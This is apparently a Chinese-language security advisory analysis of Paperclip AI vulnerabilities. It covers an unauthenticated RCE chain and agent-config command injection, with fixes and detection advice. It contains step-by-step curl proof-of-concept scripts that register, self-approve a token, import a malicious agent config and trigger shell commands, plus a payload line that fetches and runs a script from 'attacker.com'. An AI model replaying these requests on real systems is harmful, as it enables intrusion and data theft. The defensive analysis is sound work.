⚠️ 免责声明： 本文内容仅用于安全研究与教育目的。文中涉及的漏洞均已公开披露且已有官方修复方案。所有复现示例均基于公开安全公告和研究者报告，不构成直接可用的攻击代码。请勿将相关技术用于未经授权的测试或攻击行为。
漏洞等级： CVSS 10.0（CVE‑2026‑41679，最高严重级）/ CVSS 8.8（CVE‑2026‑41208）
影响版本： Paperclip AI < 2026.416.0（paperclipai CLI 及 @paperclipai/server）
修复版本： Paperclip AI >= 2026.416.0
漏洞类型： 授权绕过链 → 未授权远程代码执行（RCE）+ Agent 配置注入 → 特权命令执行
公告编号： RAXE‑2026‑054（ consolidated ），关联 11 个 GitHub 安全公告、8 个独立漏洞原语
影响范围： 所有公网暴露且使用默认配置（开放注册）的 Paperclip AI 多租户部署，以及本地开发模式（local_trusted）下的开发者机器
利用状态： 🟡 公开 PoC 可用，Rapid7 已发布 Metasploit 模块；截至 2026‑08‑05 暂无野外利用确认
当前状态： ✅ 已修复（v2026.416.0）
Paperclip AI 是一个开源的 AI Agent 编排平台（control plane），开发者用它来管理、编排和监控多个 AI Agent 的协作运行。它提供 CLI 工具（paperclipai）和服务端（@paperclipai/server），支持多租户、多公司（workspace）隔离，Agent 可以配置不同的适配器（adapter）来执行任务——包括调用 LLM、运行代码、操作文件系统等。
简单说：Paperclip 是给 AI Agent 团队用的"中控台"。 你在上面创建 Agent、配置它们的行为、分配工作区、监控运行状态。正因为它处在 Agent 管理和命令执行的交汇处，一旦授权边界出问题，攻击者直接就能在宿主机上执行命令。
2026 年 4 月，安全研究机构 Oasis Security 向 Paperclip AI 报告了一批漏洞。GitHub 一次性发布了 11 个安全公告（GHSA），覆盖 8 个独立的漏洞原语。其中 4 个评级为严重（CVSS 9.8-10.0）。
RAXE 安全实验室将这批漏洞整合为一份综合公告 RAXE-2026-054。核心发现是：这批漏洞不是孤立的代码 bug，而是两个反复出现的架构级缺陷。
| 架构缺陷 | 表现 | 后果 |
|---|---|---|
| 授权检查只到角色层，不到租户层 |
assertBoard验证了用户是 board 成员，但没有assertCompanyAccess验证用户属于该公司 |
任意 board 用户可跨租户操作其他公司的 Agent |
| Agent 配置字段被服务器直接当 shell 命令执行 |
adapterConfig中的配置未经净化，直接传入spawn("/bin/sh", ["-c", command])
|
Agent 权限提升到服务器宿主机权限 |
本文重点分析两个最具代表性的 CVE：
| CVE 编号 | CVSS | 漏洞类型 | 攻击前提 |
|---|---|---|---|
| CVE-2026-41679 | 10.0 | 未授权 RCE（四步授权绕过链） | 公网可达的默认配置实例，无需任何凭据 |
| CVE-2026-41208 | 8.8 | Agent 配置注入→OS 命令执行 | 拥有 Agent API Key（低权限凭据） |
另外还有一个值得关注的：GHSA-x8hx-rhr2-9rf7（CVSS 9.6），通过 DNS rebinding 攻击本地开发模式的 Paperclip，后续被分配为 CVE-2026-77087。
这个漏洞的攻击链极其简洁——整个过程只需要 6 个 HTTP 请求，耗时不到 30 秒，全程自动化。
Paperclip 默认配置下，注册接口完全开放：
POST /api/auth/sign-up/email
环境变量PAPERCLIP_AUTH_DISABLE_SIGN_UP默认为false（即允许注册），而邮箱验证在代码里被硬编码为false：
// server/src/auth/better-auth.ts (简化)
requireEmailVerification: false // ← 硬编码关闭
攻击者用任意邮箱注册，即时获得一个有效会话。不需要邀请码，不需要邮箱验证，不需要人工审批。
注册后，攻击者需要一个持久化的 API Key。Paperclip 的 CLI 认证流程是：
POST /api/cli-auth/challenges
boardApiToken
问题在于：审批逻辑只验证审批者是有效的 board 用户，不验证"审批者不能是创建者本人"。
// server/src/routes/access.ts (简化，约1638-1659行)
// 只检查了审批者身份有效
assertBoard(req);
// ❌ 没有检查：approving user !== challenge creator
await approveChallenge(challengeId, req.actor.userId);
攻击者刚注册的账号自己创建 challenge、自己审批，立刻拿到持久化的boardApiToken。职责分离彻底失效。
拿到 board token 后，攻击者需要创建一个公司（tenant）并在其中配置恶意 Agent。
Paperclip 直接创建公司的接口POST /api/companies正确地要求实例管理员权限（assertInstanceAdmin）。但等价的导入接口POST /api/companies/import在new_company模式下完全没有这个检查：
// server/src/routes/companies.ts (简化，约161-176行)
// 直接创建 → 有管理员检查 ✅
assertInstanceAdmin(req);
// 导入创建 → 没有管理员检查 ❌
if (target.mode === "new_company") {
// 只检查了board级别权限
assertBoard(req);
// assertInstanceAdmin 根本没有被import到这个路由文件
}
攻击者通过导入接口，上传一个.paperclip.yaml配置包，创建一个新公司，并且自动成为该公司的成员。
这是最致命的一步。Paperclip 的 Agent 配置支持"process adapter"，允许 Agent 通过启动子进程来执行任务。这本身是一个合法功能——但导入接口允许攻击者在 YAML 中指定任意命令：
# 恶意 .paperclip.yaml（简化）
agents:
- name: "system-agent"
adapter: process
adapterConfig:
command: "bash"
args:
- "-c"
- "id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt"
Paperclip 在启动 Agent 时直接执行这个命令：
// Agent执行逻辑（简化）
spawn("/bin/sh", ["-c", command]);
// ❌ command来自攻击者控制的YAML配置，未经任何净化或沙箱限制
攻击者调用wakeup接口启动 Agent：
POST /api/agents/:id/wakeup
这个接口只检查assertCompanyAccess——而攻击者是自己创建的公司的成员，检查自然通过。
Paperclip 以服务器进程的操作系统用户权限执行攻击者的命令。游戏结束。
匿名攻击者
│
├─① POST /api/auth/sign-up/email → 注册账号（无需邮箱验证）
│
├─② POST /api/cli-auth/challenges → 创建认证挑战
│ POST /api/cli-auth/challenges/:id/approve → 自己审批自己
│ → 获得 boardApiToken
│
├─③ POST /api/companies/import → 导入恶意YAML（缺管理员检查）
│ → 创建新公司 + 配置process adapter Agent
│
└─④ POST /api/agents/:id/wakeup → 触发Agent执行
│
└─→ spawn("/bin/sh", ["-c", "攻击者命令"])
→ 以服务器用户权限执行任意命令
CVSS 10.0 的评分依据：
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
网络攻击向量、低复杂度、无需权限、无需用户交互、作用域变更（跨租户）、三要素全部高影响。这是 CVSS v3.1 能给出的最高分。
如果说 CVE-2026-41679 是"从门外打进门内"，那 CVE-2026-41208 就是"门内的 Agent 给自己升权到房东"。
这个漏洞的前提是攻击者已经拥有一个 Agent API Key——这在 Paperclip 的设计中属于低权限凭据，用于 Agent 运行时和自动化集成，不应该能访问服务器宿主机。
Paperclip 允许 Agent 通过 API 更新自己的配置：
PATCH /api/agents/:id
配置验证 schema 对adapterConfig字段几乎不设防：
// packages/shared/src/validators/agent.ts
adapterConfig: z.record(z.unknown())
// ❌ 接受任意键值对，没有字段级白名单
攻击者通过 Agent API Key 注入一个恶意字段workspaceStrategy.provisionCommand：
{
"adapterConfig": {
"workspaceStrategy": {
"provisionCommand": "curl http://attacker.com/shell.sh | bash"
}
}
}
Paperclip 在为 Agent 准备工作区时，会执行provisionCommand来初始化环境：
// 服务器端执行逻辑（简化）
const command = agent.adapterConfig.workspaceStrategy.provisionCommand;
spawn("/bin/sh", ["-c", command]);
// ❌ command来自Agent自己修改的配置，服务器原样执行
信任边界彻底崩塌：
设计预期：
Agent运行时 ←→ Paperclip编排层 ←→ 服务器宿主机
（Agent只能通过编排层间接交互，不能直接触碰宿主机）
实际情况：
Agent配置 → spawn("/bin/sh", ["-c", command]) → 直接在宿主机执行
（边界完全消失）
同一批公告中还有一个中危漏洞 GHSA-3pw3（CVE 待分配），原理类似但影响是文件读取而非命令执行：
Agent 可以修改adapterConfig.instructionsFilePath指向任意文件路径，服务器在执行 Agent 时用fs.readFile()直接读取：
// packages/adapters/claude-local/src/server/execute.ts
const instructionsContent = await fs.readFile(instructionsFilePath, "utf-8");
// ❌ instructionsFilePath 来自Agent控制的配置，无路径限制
攻击者可以读取/etc/passwd、应用配置、数据库凭据等服务器进程可访问的任意文件。
⚠️ 以下 PoC 基于公开安全公告和研究者报告整理，仅用于理解漏洞原理。请勿在未经授权的系统上执行。
根据 GitHub 安全公告 GHSA-68qg 和 Oasis Security 的报告，完整攻击仅需 6 个请求：
TARGET="http://<victim>:3100"
# 步骤1：匿名注册
curl -s -X POST "$TARGET/api/auth/sign-up/email" \
-H "Content-Type: application/json" \
-d '{"email":"attacker@test.com","password":"P@ssw0rd123","name":"attacker"}'
# 登录获取session cookie（略，保存cookies.txt）
# 步骤2：创建CLI认证挑战
CHALLENGE=$(curl -s -X POST "$TARGET/api/cli-auth/challenges" \
-b cookies.txt \
-H "Content-Type: application/json" \
-d '{}' | jq -r '.id')
# 步骤3：自己审批自己的挑战 → 获得boardApiToken
BOARD_TOKEN=$(curl -s -X POST "$TARGET/api/cli-auth/challenges/$CHALLENGE/approve" \
-b cookies.txt \
-H "Content-Type: application/json" \
-d '{}' | jq -r '.token')
# 步骤4：导入恶意公司配置（含process adapter命令注入）
curl -s -X POST "$TARGET/api/companies/import" \
-H "Authorization: Bearer $BOARD_TOKEN" \
-H "Content-Type: application/json" \
-H "Origin: $TARGET" \
-d '{
"target": {"mode": "new_company", "newCompanyName": "attacker-corp"},
"include": {"company": true, "agents": true},
"agents": "all",
"bundle": {
"paperclip.yaml": "agents:\n - name: pwn\n adapter: process\n adapterConfig:\n command: bash\n args: [\"-c\", \"id > /tmp/pwned.txt && whoami >> /tmp/pwned.txt\"]"
}
}'
# 返回新公司ID和Agent ID
# 步骤5：触发Agent → 命令在服务器执行
curl -s -X POST "$TARGET/api/agents/<agent-id>/wakeup" \
-H "Authorization: Bearer $BOARD_TOKEN" \
-H "Content-Type: application/json" \
-d '{}'
# 命令已以Paperclip服务器进程权限执行
Rapid7 在 2026 年 6 月发布了 Metasploit 模块，将整个 6 步流程完全自动化。Oasis Security 的研究者也发布了自包含 bash 脚本，运行./poc_exploit.sh http://<target>:3100即可在 30 秒内完成全链路。
# 前提：已获得Agent API Key
AGENT_KEY="agent-api-key-here"
AGENT_ID="target-agent-id"
TARGET="http://<victim>:3100"
# 步骤1：注入恶意provisionCommand
curl -s -X PATCH "$TARGET/api/agents/$AGENT_ID" \
-H "Authorization: Bearer $AGENT_KEY" \
-H "Content-Type: application/json" \
-d '{
"adapterConfig": {
"workspaceStrategy": {
"provisionCommand": "id > /tmp/pwned_agent.txt && cat /etc/passwd >> /tmp/pwned_agent.txt"
}
}
}'
# 步骤2：唤醒Agent，触发workspace provisioning
curl -s -X POST "$TARGET/api/agents/$AGENT_ID/wakeup" \
-H "Authorization: Bearer $AGENT_KEY" \
-H "Content-Type: application/json" \
-d '{}'
# 命令在服务器宿主机上执行，Agent完成提权
GHSA-x8hx-rhr2-9rf7（后分配 CVE-2026-77087，CVSS 9.6）针对 Paperclip 的默认local_trusted模式。
在这种模式下，Paperclip 绑定到127.0.0.1，并将所有到达本地接口的请求视为隐式管理员——用网络位置代替了身份认证。
攻击者构造一个恶意网页，使用 DNS rebinding 技术：
127.0.0.1
127.0.0.1:3100发送 API 请求开发者只需要在 Paperclip 运行时打开一个恶意网页，电脑就被控制了。 不需要任何 Paperclip 凭据。
Paperclip 在2026年4月16日发布的 v2026.416.0 中修复了全部 11 个公告涉及的漏洞，涉及 4 个 npm 包：
| 包名 | 修复版本 |
|---|---|
@paperclipai/server |
2026.416.0 |
@paperclipai/shared |
2026.416.0 |
@paperclipai/ui |
2026.416.0 |
paperclipai |
2026.416.0 |
核心修复措施：
POST /api/companies/import和POST /api/companies/import/preview在new_company模式下现在要求assertInstanceAdmin，与直接创建接口一致local_trusted和authenticated模式均生效adapterConfig不再接受任意键值对，provisionCommand等危险字段被限制为仅管理员可配置instructionsFilePath增加路径规范化和工作区边界校验Oasis Security 在报告中还建议了官方修复之外的加固措施：
PAPERCLIP_AUTH_DISABLE_SIGN_UP默认值从false改为true，需要开放注册的部署显式开启requireEmailVerification从硬编码false改为可配置且默认开启如果你在运行 Paperclip AI 实例，按以下优先级排查：
/tmp/pwned*、/tmp/*.txt中包含id/whoami输出的文件~/.ssh/authorized_keys是否被添加未知密钥process adapter 且命令字段可疑的 Agent/api/companies/import和/api/cli-auth/challenges的异常请求PAPERCLIP_AUTH_DISABLE_SIGN_UP=true关闭开放注册（如不需要）authenticated模式，不要用local_trusted模式adapterConfig字段实施严格的 schema 验证，拒绝未知字段Paperclip 漏洞的核心教训用 Oasis Security 的一句话总结：
"Agent configuration must be treated as executable input."
（Agent 配置必须被当作可执行输入来对待。）
导入一个.paperclip.yaml文件，在功能上等价于导入一个 Dockerfile——它声明了要在服务器上运行什么命令。Paperclip 把配置当作数据来处理，但配置中的 process adapter 字段实际上是代码执行声明。
这个问题不是 Paperclip 独有的。2025-2026 年，AI Agent 生态中反复出现同类漏洞：
| 平台 | CVE | CVSS | 根因 |
|---|---|---|---|
| Flowise | CVE-2025-59528 | 10.0 | CustomMCP 节点在配置中执行 JavaScript |
| Langflow | CVE-2026-55255 | - | 配置注入导致代码执行，已被野外利用 |
| Anthropic MCP Inspector | CVE-2025-49596 | - | DNS rebinding 绕过本地隔离 |
| Paperclip | CVE-2026-41679 | 10.0 | 导入 YAML 配置→process adapter 命令执行 |
整个行业还没有内化一个基本假设：Agent 的配置文件不是元数据，是可执行声明。
Paperclip 的第二个架构级问题是租户隔离失效。assertBoard只验证了"你是 board 成员"，但没有验证"你属于这个公司"。在多租户系统中，角色检查和租户检查是两个独立的安全边界，缺一个就等于没有。
这跟 Langflow 的路径遍历漏洞本质上是同一类问题：信任边界只画了一半。 Langflow 信任了上传的文件名没有穿越路径，Paperclip 信任了 board 用户不会跨公司操作。攻击者不需要突破坚固的防线——他们只需要找到那个根本没画的边界。
Paperclip 的四个问题全部出在"默认配置不安全"上：
安全社区有一个共识：默认配置必须是安全的，不安全的配置应该是用户显式选择的结果。 Paperclip 把便利性放在了安全性前面，而攻击者最喜欢的就是"开箱即用"的靶子。
总结：AI Agent 平台正处在代码执行、外部 API 和企业数据的交汇处，攻击面比传统 Web 应用大得多，而安全成熟度远未跟上。 对于开发者和运营方来说，假设你的 Agent 平台会被攻击，比假设它不会被攻击要安全得多。